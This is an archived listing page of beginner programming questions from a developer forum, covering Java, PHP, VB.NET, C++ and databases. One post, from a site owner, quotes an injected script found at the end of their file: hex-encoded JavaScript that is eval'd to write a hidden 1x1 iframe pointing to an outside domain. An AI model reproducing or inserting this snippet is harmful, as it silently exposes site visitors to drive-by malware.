199,114 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for Pravinrasal

Process p = Runtime.getRuntime().exec("C:\\tc\\bin\\" + prog_name , null); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getInputStream())); System.out.println("Here is the standard op :\n"); s1=stdError.readLine(); i have this code can anyone tell me how to run c program using java thanks !

Member Avatar for NormR1
0
203
Member Avatar for Pravinrasal
Member Avatar for Panathinaikos22

Well that i looking for is, how to create a file to store applicaiton settings, i prefer ini files... well i found smthing, it work ok, but i cant understand how it work. What his code do? well this code store informations in `*.ini` file, example [SECTION] Option1 = Nab …

Member Avatar for pseudorandom21
0
162
Member Avatar for Marc Smets

Hi there, Is use Now()-1 in VBA to achieve the date of yesterday in a query. What is the syntax for it in basic. Thx

Member Avatar for Marc Smets
0
86
Member Avatar for rotten69

Hey everyone, Just curious why my little program doesn't go through the if-statement I specified in it. [code] public static void main (String args[]){ Scanner sc = new Scanner(System.in); System.out.println("Enter a value for girls:"); int GIRLS = sc.nextInt(); System.out.println("Enter a value for boys:"); int BOYS = sc.nextInt(); if (BOYS == …

Member Avatar for NormR1
0
193
Member Avatar for Jsplinter

I've tested the following code in a console application, and it compiles just fine. However, when I copy it to a header to include in a larger project, I get 77 link errors, all related to boost. If I comment out the line in [COLOR="red"]red[/COLOR], everything compiles just fine without …

Member Avatar for pseudorandom21
0
451
Member Avatar for Nahiyan

Hello, I wrote some code to make a table using HTML with <th> tags for displaying header in the first row followed by contents of mysql database. Due to while loop the header is displayed everytime the mysql_fetch_assoc fetches stuff from the database. However I want the header to be …

Member Avatar for Nahiyan
0
4K
Member Avatar for himmat.m4

Hi, I am now stuck on problem is that in our application used thread and that start in jsp page. so here problem is once thread started and after completion of run method it goes to dead. we can not restart dead thread. so whenever goes that jsp page trying …

Member Avatar for ck-81
0
322
Member Avatar for adamleefe

i have a shopping cart and everything works but the update button, can you see any errors in my code? function updateCart() { $cartId = $_POST['hidCartId']; $productId = $_POST['hidProductId']; $itemQty = $_POST['txtQty']; $numItem = count($itemQty); $numDeleted = 0; $notice = ''; for ($i = 0; $i < $numItem; $i++) { …

Member Avatar for aplwong
0
99
Member Avatar for n1_razz11

hey i got 2 tables named tbplayer and tbpair in database named dbgame.mdb tbplayer has 2 field player_id and player_name.. tbpair has three field pair_id(autonumber), player_1 and player_2 i have create combobox to get player id in tbpair from tbpair.. so i don get code.. my sample code is [CODE]Imports …

Member Avatar for debasisdas
0
252
Member Avatar for fidolas7

i just store session in my register page for use it in different files when someone get registration but i dont know y in other pages when i try to call my session,i get error that the variable are undefined. my code at register.php <?php $con = mysql_connect("localhost","root",""); if (!$con) …

Member Avatar for decade
0
243
Member Avatar for utthu

The column names which are being taken from the database are all being added as ONE single option in the drop down menu. Where as, I want them to be separate options in the drop down menu. I don't know where am I going wrong. Please help! The code is …

Member Avatar for prasad90
0
256
Member Avatar for dennysimon

hi all I want to ask what wrong with my code. It gives me error : MySqlException unhandled Incorrect datetime value: '08/03/2011 00:00:00' for column 'Date' at row 1 the code is below: private void btnsave_Click(object sender, EventArgs e) { Thread.CurrentThread.CurrentCulture = new CultureInfo("", false); DateTime datedt = Convert.ToDateTime(tbdate.Text); Decimal …

Member Avatar for Ketsuekiame
0
154
Member Avatar for Kerlix

I'm using VS 2010 and I always get multiple error messages: '<<': no operator found which takes a left-hand operand of type 'std::string' (or there is no acceptable conversion). I get that for lines 36 and 52. Then I get "Intellisense: no operator "<<" matches these operands for lines 36 …

Member Avatar for Caligulaminus
0
312
Member Avatar for matthewr545

Hi I making a real advanced and powerful web-browser. It's Almost complete, but when i run it i type in the URL i want to go to which activates the browser tool, but the page stays white. I know its half working due to when i click enter it displays …

Member Avatar for Huntondoom
0
125
Member Avatar for Pravinrasal

how todesign automatic grading system online using java i want to create one web application which creates online grading system for the students. which displays their grades,marks and ranking ...

Member Avatar for Majestics
0
161
Member Avatar for heshanm

Hi, I want to delete erroneous transactions and at the same time update my account table to be in line with the transaction table. account (account_number, name_with_initials, accoount_type,account_balance, account_interest) transaction (tran_id,account_number,transaction_type,transaction_amount,transaction_date) First i create a page to retrieve data from the tables and then need to delete the erroneous transaction. …

Member Avatar for diafol
0
101
Member Avatar for dw_user

After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution.

Member Avatar for diafol
0
195
Member Avatar for nikita.chandra

Hi, I am using mail function of php to send email. I have a html page in which there is a form after submission of the form it redirected to mail.php and send email then i want to redirect back to html form with some message say "Mail sent successfully". …

Member Avatar for diafol
0
338
Member Avatar for fsefsef23

Sorry for the confusing title. Basically I have a line which I read from a file that gets stored as an array stack of characters that reads as follows: Nn<-<-<-<-No <-w iz<-sthe<-<-<- the time. Where the top of the stack is the '.', and the bottom is the 'N' respectively. …

Member Avatar for WaltP
0
425
Member Avatar for har58

Hi, I have written a small program to calculate Fourier coefficients of square wave. [CODE] #include<iostream.h> #include<stdlib.h> int main() { int *A,*B,a,n,i,; float pi=3.14; cout<<"Enter value of amplitude"; cin>>a; cout<<"Enter which harmonic you want to display"; cin>>n; A=new int[n+1]; B=new int[n+1]; A[0]=0; for(i=0;i<=n;i++) { B[i]=0; } for(i=2;i<=n;i=i+2) { A[i]=0; } …

Member Avatar for shokichi
0
2K
Member Avatar for manish250

hi all, i have developed a web service(https based) client which is running on my 4 servers.i am facing a issue on a server like this. javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target while client on all other 3 server is …

0
162
Member Avatar for jacksantho

Hi, I am saving my excel file in my local directory. $objWriter->save("C:/test.xls"); How can i delete(only test.xls) this same excel file from my local directory using php. Please try to solve my problem. Thanks in advance.

Member Avatar for tech.biztech
0
128
Member Avatar for uselessninja

i've been searching google and all i see is with button snippets ...can someone help me on how to multiply two textbox and displaying it to third texbox without using button ?..

Member Avatar for uselessninja
0
191
Member Avatar for vinaysrk919
Member Avatar for hericles
0
86
Member Avatar for dennysimon

hello all suppose I have fill a datagridview (named it mydgv) ,Can I populate a dataset with the data from the content of mydgv ? if yes how thank you denny

Member Avatar for dennysimon
0
6K
Member Avatar for devindamenuka

hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click …

Member Avatar for devindamenuka
0
179
Member Avatar for zoraster01

good day everyone i`m beginner in vb.net .. i want to learn this kind of program.. and this are my problems: 1. i dont know how to connect my vb.net program to sql server?? can you help me. 2. how can i call my fingerprint scanner to my vb.net program. …

Member Avatar for synatx error
0
781
Member Avatar for bizfreak22

Hey everyone, PHP and MYSQL newbie here.....can really use your help right now. I implemented a Submodal into my script, and finally got it to submit "User Notes" into the database. Unfortunately with each new submission, the text that is submitted overwrites the previous submission. I was told to use …

Member Avatar for urtrivedi
0
444
Member Avatar for n1_razz11

hi friends.. i m working with vb.net how can i get iteams in combo box from table of msaccess.. hoping for help thanx

Member Avatar for n1_razz11
0
141
Member Avatar for devindamenuka

hi all, I am new to php and was trying to send an email . i got the code from w3school site. [url]http://www.w3schools...hp/php_mail.asp[/url] but when I run the code i got this error. Warning: mail() [function.mail]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" …

Member Avatar for devindamenuka
0
116
Member Avatar for Mitja Bonca

I would like to do the simple card game which can many people play at the same time, but not only one game, there can ne n games running. Recently I was learning how to do server-client coding, using TcpListener and TcpClient network services. But the main difference between the …

Member Avatar for l3l4c7_h4t
0
430
Member Avatar for neely615

First, I apologize for posting this since it seems to have been addressed for every situation except mine (or so I can find), and I admit I am a complete novice. [B]Intro:[/B] I have a batch file which gets placed in a directory with target files, loops through the files …

Member Avatar for griswolf
0
333
Member Avatar for Sorcher

Hello. I have no idea how, so i'll ask you. I need /s/index.php?i=123 to be /s/123 any direction or tips would be appreciated! cheers, Sorcher

Member Avatar for Sorcher
0
83
Member Avatar for cobberas

I'm developing an ASP.net website in which I have to allow users to log into someone else's PHP website. On my ASP.net homepage and interior pages I have two text boxes - one for Username and another for Password, and a button for submitting the data. What's the code for …

Member Avatar for cobberas
0
597
Member Avatar for thecoolman5

Hi, I am trying to make a one octave piano. heres my code: [CODE]#include<windows.h> #include<mmsystem.h> #include<stdlib.h> /* Declare Windows procedure */ LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); /* Make the class name into a global variable */ char szClassName[ ] = "WindowsApp"; int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, …

Member Avatar for thecoolman5
0
1K
Member Avatar for ia2196

Hello, I get following error while importing h5py. Can some one please help me in how does this work. import h5py File "/usr/lib/python2.6/site-packages/h5py-1.3.1-py2.6-linux-x86_64.egg/h5py/__init__.py", line 24, in <module> import h5 File "h5.pyx", line 386, in init h5py.h5 (h5py/h5.c:5557) File "h5.pyx", line 359, in h5py.h5.init_hdf5 (h5py/h5.c:3946) File "h5r.pxd", line 24, in init …

Member Avatar for Gribouillis
0
483
Member Avatar for jcarbillon

Guys, I need your help on this case This is my error: [Error 194 The base class includes the field 'PlanImg', but its type (System.Web.UI.HtmlControls.HtmlImage) is not compatible with the type of control (System.Web.UI.HtmlControls.HtmlGenericControl)] [B].aspx[/B] [<li><p onclick="SetSelectedTab(1,'../XXXXXX/XXXXXX.aspx')"><span runat="server" ID="PlanImg" datasrc="#DTSRC" datafld="link1"></span></p></li>] [B].aspx.cs[/B] [PlanImg.Visible = true;] This error is taking me …

Member Avatar for hericles
0
349
Member Avatar for mreneeholland

Hi, I am trying to create a program that the user enters the number of enrollments for 5 different campuses during two semesters. I just got started and here is what I have so far but when I run the program it is stuck in an infinite loop and will …

Member Avatar for lolafuertes
0
174
Member Avatar for iamcreasy

This simple code is showing the following error. [CODE]import java.io.IOException; import java.net.*; public class Server { public static void main(String[] args) throws IOException { DatagramSocket ds = new DatagramSocket(999, InetAddress.getByName("192.168.1.102")); ds.send(new DatagramPacket(new byte[10], 10)); } }[/CODE] Error: [CODE]Exception in thread "main" java.net.BindException: Cannot assign requested address: Cannot bind at java.net.PlainDatagramSocketImpl.bind0(Native …

Member Avatar for iamcreasy
0
360
Member Avatar for nji2rhyme

Hi, I have a combobox called 'cptype' with 2 items and a default item 'select'. I also have a button called 'populate'. How do I get the program to randomly select one of the 2 items. I also have a button called 'reset'. How do I get the combobox to …

Member Avatar for nji2rhyme
0
78
Member Avatar for thecoolman5

hi, i am writing a program for my dad. I want it to keep the mouse in x=500 y=500 while waiting for input. So its asking for the password and if you try to move the mouse, it'll put the mouse back in x=500 and y=500 and have keep looping …

Member Avatar for pseudorandom21
0
684
Member Avatar for and12

It is catching my exception error when I try to do a select student_id student_name from Student and put it in my dropdownlist. I already created the databases called college and tables Student, Course, and StudentCourse and put in fake data. I store my Connection String in the web.config file. …

Member Avatar for mlesniak
0
280
Member Avatar for sergent

Is there Linux functions equivalent to Windows functions [CODE] mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); SetCursorPos(x,y); [/CODE] Specifically Ubuntu, GNOME. I tried to search on google, but did not find anything useful.

Member Avatar for L7Sqr
0
324
Member Avatar for newbie21

I have two lists: list1 and list2 listing a set of files. For each file in list1 if a corresponding file exists in list2, I want the script to print the columns of common files. EX: list1............data1 1aw7_AB.fit => 1 2 3 1bjw_AB.fit => 9 4 7 1biq_AB.fit => 8 …

Member Avatar for d5e5
0
259
Member Avatar for Peter4n31

Hi, Program works fine,but memory validator reports UNINITIALIZED READ on CProfiles profile; Could you please help me with this? Here is my code: inside profiles.cpp[CODE] #include "profiles.h" CProfiles profile; // Here it reports the problem KeyProfile* keyProfile=&profile; //------------------------------------------------------------- int CProfiles::Init() { // other code [/CODE] inside profiles.h[CODE] class CProfiles: public …

Member Avatar for Peter4n31
0
146
Member Avatar for samsnov

Please how do I apply search form to my website to search out files from my site if searched, Please how do I type the form, can someone give me the sample out here, How do I relate the search form to the files that I have in my site …

Member Avatar for samsnov
0
152
Member Avatar for rayidi

Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I …

0
115
Member Avatar for anand01

Hi all , pls suggest me some good tutorials to learn complete j2ee .. Thanks in advance

Member Avatar for Ezzaral
0
85
Member Avatar for lhuynh39

i'm a total beginner and don't know how to do this: MYBANK ATM MENU FORMAT: You will be submitting the C++ code as a CPP file. The source code file should use self documenting code and additional comments (as required) to improve code readability. The source code file must contain …

Member Avatar for Sodabread
0
373

The End.